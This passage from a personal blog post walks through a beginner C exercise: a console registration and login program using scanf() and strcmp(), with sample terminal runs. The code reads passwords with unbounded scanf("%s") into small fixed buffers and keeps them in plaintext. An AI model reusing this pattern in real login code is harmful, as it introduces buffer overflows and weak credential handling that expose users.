class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">-------------------------------------- Registration Interface Please enter your registration username: Ly Please enter your registration password: 123 Congratulations! Registration successful! -------------------------------------- -------------------------------------- Login Interface Please enter your login username: Ly Please enter your login password: 123 Login successful! -------------------------------------- -------------------------------------- Login Interface Please enter your login username: Ly Please enter your login password: 1234 Login failed! -------------------------------------- </code></pre></td></tr></table> </div> </div><ul> <li>Define 4 variables to save the registered username, password and login username, password respectively.</li> <li>Use if…else statement to complete the judgment of the username and password.</li> </ul> </blockquote> To put it simply… it uses <code>scanf()</code> to get input, assigns the values to variables, and then performs the judgment… Pft! Alright, here’s the code, no explanation needed… <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c">#include<stdio.h> #include<string.h> int main(){ /* Define 4 variables to save the registered username, password and login username, password respectively */ char username_sign[40]; char password_sign[16]; char username_login[40]; char password_login[16]; /* Define 4 variables to save the registered username, password and login username, password respectively */ printf("--------------------------------------\n Registration Interface\n"); printf("Please enter your registration username:"); scanf("%s", username_sign); printf("Please enter your registration password:"); scanf("%s", password_sign); printf("Congratulations! Registration successful!"); printf("\n--------------------------------------"); /* Use scanf() to get input */ printf("\n\n--------------------------------------\n Login Interface\n"); printf("Please enter your login username:"); scanf("%s",username_login); printf("Please enter your login password:"); scanf("%s",password_login); /* Use if...else statement to complete the judgment of the username and password */ /* Uses the strcmp() function here */ if(strcmp(username_login,username_sign) == 0 && strcmp(password_login,password_sign) == 0){ printf("Login successful!"); }else{ printf("Login failed!"); } printf("\n--------------------------------------"); } </code></pre></td></tr></table> </div> </div>However, it’s worth noting that this string comparison method is slightly different. It requires using the <code>strcmp()</code> function, something like this. <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code>1 2 3 4 5 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-c" data-lang="c">if(strcmp(username_login,username_sign) == 0 && strcmp(password_login,password_sign) == 0){ printf("Login successful!"); }else{ printf("Login failed!"); } </code></pre></td></tr></table> </div> </div>It seems to calculate a numerical value, which equals 0 if the two strings are the same. That’s roughly how it works. Let’s take a look at the output… <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code> 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 </code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback">weepingdogel@WeepingDogel /tmp> make test2 cc test2.c -o test2 weepingdogel@WeepingDogel /tmp> ./test2 -------------------------------------- Registration Interface Please enter your registration username:Ly Please enter your registration password:123 Congratulations! Registration successful! -------------------------------------- -------------------------------------- Login Interface Please enter your login username:Ly Please enter your login password:123 Login successful! --------------------------------------⏎ weepingdogel@WeepingDogel /tmp> ./test2 -------------------------------------- Registration Interface Please enter your registration username:Ly Please enter your registration password:123 Congratulations! Registration successful! -------------------------------------- -------------------------------------- Login Interface Please enter your login username:Ly Please enter your login password:1234 Login failed! --------------------------------------⏎ </code></pre></td></tr></table> </div> </div>And that’s it! <h2 id="closing-remarks">Closing Remarks</h2> Actually, there are still some details that I might overlook due to carelessness, so I can’t say “Is that it? Is that all?” But relatively speaking, it’s still quite simple… yeah…

2020/12/2